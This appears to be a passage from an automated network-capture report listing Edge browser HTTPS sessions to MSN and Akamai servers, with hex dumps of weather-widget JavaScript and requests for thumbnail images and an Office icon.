2024-04-23 21:02:36 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 65 61 74 68 65 72 2d 63 61 72 64 2d 77 63 22 5d 2c 7b 31 30 35 37 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 64 28 74 2c 7b 78 67 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 65 7d 2c 41 62 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 53 65 7d 2c 7a 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 4d 65 7d 2c 70 44 3a 66 75 6e 63 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-card-wc"],{10571:function(e,t,n){n.d(t,{xg:function(){return Pe},Ab:function(){return Se},zo:function(){return Me},pD:func
2024-04-23 21:02:36 UTC	9395	IN	Data Raw: 66 64 2e 74 72 65 6e 64 5d 7d 5d 2c 5b 22 54 65 61 73 65 72 53 6e 6f 77 41 63 63 43 75 72 72 65 6e 74 22 2c 7b 74 61 62 54 79 70 65 73 3a 5b 70 2e 66 64 2e 6e 6f 77 63 61 73 74 61 63 63 5d 7d 5d 2c 5b 22 54 65 61 73 65 72 53 6e 6f 77 41 63 63 54 6f 64 61 79 22 2c 7b 74 61 62 54 79 70 65 73 3a 5b 70 2e 66 64 2e 6e 6f 77 63 61 73 74 61 63 63 5d 7d 5d 2c 5b 22 54 65 61 73 65 72 53 6e 6f 77 41 63 63 4e 65 78 74 44 61 79 73 22 2c 7b 74 61 62 54 79 70 65 73 3a 5b 70 2e 66 64 2e 6e 6f 77 63 61 73 74 61 63 63 5d 7d 5d 2c 5b 22 41 6c 65 72 74 4e 6f 77 63 61 73 74 22 2c 7b 74 61 62 54 79 70 65 73 3a 5b 70 2e 66 64 2e 70 72 65 63 69 70 69 74 61 74 69 6f 6e 2c 70 2e 66 64 2e 6d 61 70 5d 7d 5d 2c 5b 22 4d 75 6c 74 69 49 6e 66 6f 22 2c 7b 74 61 62 54 79 70 65 73 3a 5b Data Ascii: fd.trend]}],["TeaserSnowAccCurrent",{tabTypes:[p.fd.nowcastacc]}],["TeaserSnowAccToday",{tabTypes:[p.fd.nowcastacc]}],["TeaserSnowAccNextDays",{tabTypes:[p.fd.nowcastacc]}],["AlertNowcast",{tabTypes:[p.fd.precipitation,p.fd.map]}],["MultiInfo",{tabTypes:[
2024-04-23 21:02:36 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2e 74 6f 53 74 72 69 6e 67 28 29 2c 65 2e 74 6d 70 6c 2e 63 6f 6e 74 72 6f 6c 46 6c 69 67 68 74 3d 65 2e 64 69 73 70 6c 61 79 43 6f 6e 74 65 6e 74 2e 63 66 2c 65 2e 74 6d 70 6c 2e 63 61 72 64 49 64 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 65 2e 64 69 73 70 6c 61 79 43 6f 6e 74 65 6e 74 2e 63 69 64 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 74 6f 53 74 72 69 6e 67 28 29 3b 63 6f 6e 73 74 20 74 3d 65 2e 64 69 73 70 6c 61 79 43 6f 6e 74 65 6e 74 2e 63 6f 6e 74 65 6e 74 26 26 65 2e 64 69 73 70 6c 61 79 43 6f 6e 74 65 6e 74 2e 63 6f 6e 74 65 6e 74 5b 30 5d 3b 74 26 26 28 65 2e 74 6d 70 6c 2e 63 6f 6e 74 65 6e 74 43 61 70 49 63 6f 6e 3d 74 2e 63 61 70 49 63 6f 6e 2c 65 2e 74 6d 70 6c 2e 63 6f 6e 74 65 6e 74 54 69 Data Ascii: 00006000.toString(),e.tmpl.controlFlight=e.displayContent.cf,e.tmpl.cardId=null===(i=e.displayContent.cid)\|\|void 0===i?void 0:i.toString();const t=e.displayContent.content&&e.displayContent.content[0];t&&(e.tmpl.contentCapIcon=t.capIcon,e.tmpl.contentTi
2024-04-23 21:02:36 UTC	8204	IN	Data Raw: 74 69 6f 6e 4e 6f 74 69 63 65 2e 62 69 6e 64 28 74 68 69 73 29 2c 63 6c 6f 73 65 54 6f 61 73 74 4c 61 62 65 6c 3a 74 68 69 73 2e 73 74 72 69 6e 67 73 2e 63 6c 6f 73 65 2c 63 6c 6f 73 65 54 6f 61 73 74 54 65 6c 65 6d 65 74 72 79 3a 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 43 6f 6e 74 65 78 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 2e 63 6c 6f 73 65 4c 6f 63 61 74 69 6f 6e 4e 6f 74 69 63 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 67 65 74 4d 65 74 61 64 61 74 61 54 61 67 28 29 7d 3b 74 68 69 73 2e 74 6f 61 73 74 54 65 6d 70 6c 61 74 65 7c 7c 74 68 69 73 2e 64 65 6c 61 79 43 6f 6d 70 6f 6e 65 6e 74 4c 6f 61 64 65 64 7c 7c 74 68 69 73 2e 64 65 6c 61 79 4c 6f 61 Data Ascii: tionNotice.bind(this),closeToastLabel:this.strings.close,closeToastTelemetry:null===(t=this.telemetryContext)\|\|void 0===t\|\|null===(t=t.closeLocationNotice)\|\|void 0===t?void 0:t.getMetadataTag()};this.toastTemplate\|\|this.delayComponentLoaded\|\|this.delayLoa
2024-04-23 21:02:36 UTC	2339	IN	Data Raw: 30 30 30 30 30 39 31 37 0d 0a 6e 2e 62 69 6e 64 28 6e 2c 31 36 30 36 30 29 29 3b 74 68 69 73 2e 62 61 63 6b 75 70 4d 61 70 70 65 72 3d 65 28 29 7d 61 73 79 6e 63 20 69 6e 69 74 69 61 6c 57 65 61 74 68 65 72 44 61 74 61 50 61 72 73 65 28 65 3d 21 31 29 7b 69 66 28 21 74 68 69 73 2e 63 61 72 64 4d 65 74 61 64 61 74 61 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 7b 77 65 61 74 68 65 72 52 65 73 70 6f 6e 73 65 3a 74 2c 72 65 73 49 64 78 3a 6e 2c 6c 6f 63 49 64 78 3a 6f 7d 3d 28 30 2c 54 2e 5a 45 29 28 74 68 69 73 2e 63 61 72 64 4d 65 74 61 64 61 74 61 29 3b 74 26 26 74 2e 75 73 65 72 50 72 6f 66 69 6c 65 26 26 74 2e 75 73 65 72 50 72 6f 66 69 6c 65 2e 6c 6f 63 61 74 69 6f 6e 26 26 28 74 2e 63 61 72 64 73 26 26 74 2e 63 61 72 64 73 2e 6c 65 6e 67 74 68 7c 7c 61 77 Data Ascii: 00000917n.bind(n,16060));this.backupMapper=e()}async initialWeatherDataParse(e=!1){if(!this.cardMetadata)return;const{weatherResponse:t,resIdx:n,locIdx:o}=(0,T.ZE)(this.cardMetadata);t&&t.userProfile&&t.userProfile.location&&(t.cards&&t.cards.length\|\|aw
2024-04-23 21:02:36 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 52 6f 74 61 74 69 6f 6e 61 6c 50 72 65 76 69 65 77 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 4c 4f 5d 2c 56 2e 70 72 6f 74 6f 74 79 70 65 2c 22 69 73 56 69 73 75 61 6c 52 65 61 64 79 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 4c 4f 5d 2c 56 2e 70 72 6f 74 6f 74 79 70 65 2c 22 73 75 70 65 72 53 44 43 61 72 64 50 72 6f 70 73 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 4c 4f 5d 2c 56 2e 70 72 6f 74 6f 74 79 70 65 2c 22 73 75 70 65 72 53 44 43 61 72 64 44 61 74 61 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b 77 2e 4c 4f 5d 2c 56 2e 70 72 6f 74 6f 74 79 70 65 2c 22 75 73 65 72 54 79 70 65 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 6f 2e 67 6e 29 28 5b Data Ascii: 00004000RotationalPreview",void 0),(0,o.gn)([w.LO],V.prototype,"isVisualReady",void 0),(0,o.gn)([w.LO],V.prototype,"superSDCardProps",void 0),(0,o.gn)([w.LO],V.prototype,"superSDCardData",void 0),(0,o.gn)([w.LO],V.prototype,"userType",void 0),(0,o.gn)([
2024-04-23 21:02:36 UTC	12	IN	Data Raw: 61 74 69 6f 6e 3a 6b 2c 6c 6f 0d 0a Data Ascii: ation:k,lo
2024-04-23 21:02:36 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 63 53 74 72 52 65 73 6f 6c 76 65 72 3a 4d 7d 3d 74 2c 50 3d 28 30 2c 73 2e 73 73 29 28 6b 2c 54 2c 4d 2c 49 29 2c 78 3d 50 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3e 30 3f 22 26 22 3a 22 3f 22 2c 41 3d 77 2e 61 6c 65 72 74 73 7c 7c 5b 5d 2c 46 3d 41 5b 30 5d 7c 7c 6e 75 6c 6c 2c 57 3d 41 2e 6c 65 6e 67 74 68 2c 4e 3d 46 3f 46 2e 73 69 67 6e 69 66 69 63 61 6e 63 65 3a 22 22 2c 4f 3d 65 2e 75 6e 69 74 73 2c 24 3d 7b 2e 2e 2e 28 30 2c 70 2e 45 72 29 28 53 29 2c 6e 6f 72 6d 61 6c 69 7a 65 64 53 6b 79 43 6f 64 65 3a 61 2e 71 7a 2e 67 65 74 57 65 61 74 68 65 72 4e 6f 72 6d 61 6c 69 7a 65 64 53 6b 79 43 6f 64 65 28 53 2e 70 76 64 72 49 63 6f 6e 29 2c 70 72 65 63 69 70 69 74 61 74 69 6f 6e 3a 7b 63 68 69 6c 64 72 65 6e 3a 77 2e 66 6f Data Ascii: 00004000cStrResolver:M}=t,P=(0,s.ss)(k,T,M,I),x=P.indexOf("?")>0?"&":"?",A=w.alerts\|\|[],F=A[0]\|\|null,W=A.length,N=F?F.significance:"",O=e.units,$={...(0,p.Er)(S),normalizedSkyCode:a.qz.getWeatherNormalizedSkyCode(S.pvdrIcon),precipitation:{children:w.fo
2024-04-23 21:02:36 UTC	12	IN	Data Raw: 6c 28 2e 2a 29 5c 2e 73 76 67 0d 0a Data Ascii: l(.*)\.svg
2024-04-23 21:02:36 UTC	8136	IN	Data Raw: 30 30 30 30 31 46 42 43 0d 0a 24 2f 2c 6e 3d 65 2e 6d 61 74 63 68 28 74 29 3b 72 65 74 75 72 6e 20 6e 26 26 6e 5b 31 5d 3f 6e 5b 31 5d 3a 22 30 30 22 7d 72 65 74 75 72 6e 20 65 7d 7d 2c 33 39 34 33 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 64 28 74 2c 7b 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 72 39 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 75 49 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6f 7d 7d 29 3b 63 6f 6e 73 74 20 6f 3d 22 48 6f 76 65 72 43 61 72 64 22 2c 72 3d 22 77 65 61 74 68 65 72 22 2c 61 3d 22 77 65 61 74 68 65 72 22 7d 2c 38 30 38 33 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 64 28 74 2c 7b 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 Data Ascii: 00001FBC$/,n=e.match(t);return n&&n[1]?n[1]:"00"}return e}},39437:function(e,t,n){n.d(t,{oy:function(){return a},r9:function(){return r},uI:function(){return o}});const o="HoverCard",r="weather",a="weather"},80839:function(e,t,n){n.d(t,{v:function(){ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49965	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:37 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:37 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Mon, 15 Apr 2024 06:25:46 GMT X-Source-Length: 822 X-Datacenter: northeu X-ActivityId: e98c5013-ec03-4455-bfcd-9a869d2ee806 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=77004 Expires: Wed, 24 Apr 2024 18:26:01 GMT Date: Tue, 23 Apr 2024 21:02:37 GMT Connection: close
2024-04-23 21:02:37 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
161	192.168.2.4	49967	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:37 UTC	506	OUT	GET /tenant/amp/entityid/AA1cEE23?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:37 UTC	549	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cEE23?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Tue, 02 Apr 2024 14:13:19 GMT X-Source-Length: 15438 X-Datacenter: eastus X-ActivityId: b2512d57-d02b-4455-8bf9-66c06a263fb0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=148303 Expires: Thu, 25 Apr 2024 14:14:20 GMT Date: Tue, 23 Apr 2024 21:02:37 GMT Connection: close
2024-04-23 21:02:37 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
162	192.168.2.4	49968	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:37 UTC	505	OUT	GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:38 UTC	548	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 07 Apr 2024 16:29:13 GMT X-Datacenter: westus X-ActivityId: b094afd9-4354-41c7-a2c7-c06d575ef473 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 62552 Content-Length: 8192 Cache-Control: public, max-age=199643 Expires: Fri, 26 Apr 2024 04:30:01 GMT Date: Tue, 23 Apr 2024 21:02:38 GMT Connection: close
2024-04-23 21:02:38 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.4	49972	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:38 UTC	505	OUT	GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:38 UTC	548	IN	HTTP/1.1 200 OK Last-Modified: Wed, 13 Mar 2024 21:03:22 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: ceaa91e0-6f3a-40f1-8572-ab57b241a2c0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t X-Source-Length: 95457 Content-Length: 8192 Cache-Control: public, max-age=388967 Expires: Sun, 28 Apr 2024 09:05:25 GMT Date: Tue, 23 Apr 2024 21:02:38 GMT Connection: close
2024-04-23 21:02:38 UTC	8192	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.4	49975	23.0.175.195	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:38 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:39 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Thu, 28 Mar 2024 12:12:15 GMT X-Source-Length: 1437868 X-Datacenter: eastus X-ActivityId: b2c48535-9878-4dcd-860e-cd12f2cb162c Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=97932 Expires: Thu, 25 Apr 2024 00:14:50 GMT Date: Tue, 23 Apr 2024 21:02:38 GMT Connection: close
2024-04-23 21:02:39 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 84 00 0d 09 0a 0b 0a 08 0d 0b 0a 0b 0e 0e 0d 0f 13 20 15 13 12 12 13 27 1c 1e 17 20 2e 29 31 30 2e 29 2d 2c 33 3a 4a 3e 33 36 46 37 2c 2d 40 57 41 46 4c 4e 52 53 52 32 3e 5a 61 5a 50 60 4a 51 52 4f 01 0e 0e 0e 13 11 13 26 15 15 26 4f 35 2d 35 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f 4f ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 Data Ascii: JFIF`` ' .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO&&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO}!1AQa"q2#BR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.4	49977	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:39 UTC	489	OUT	GET /staticsb/statics/latest/icons/office-icons/Excel_24x.svg HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:39 UTC	1130	IN	HTTP/1.1 200 OK Content-Type: image/svg+xml Content-MD5: BnxqajLGNu8wvFDdsUO32Q== Last-Modified: Tue, 23 Apr 2024 10:16:11 GMT ETag: 0x8DC637E664BA7E8 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: f3fca609-801e-007f-11b4-9511a1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:39 GMT Content-Length: 1067 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402755013,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=6, origin; dur=0 , cdntime; dur=6 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18018dc5 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Cache-Control: public, max-age=31536000 report-to: 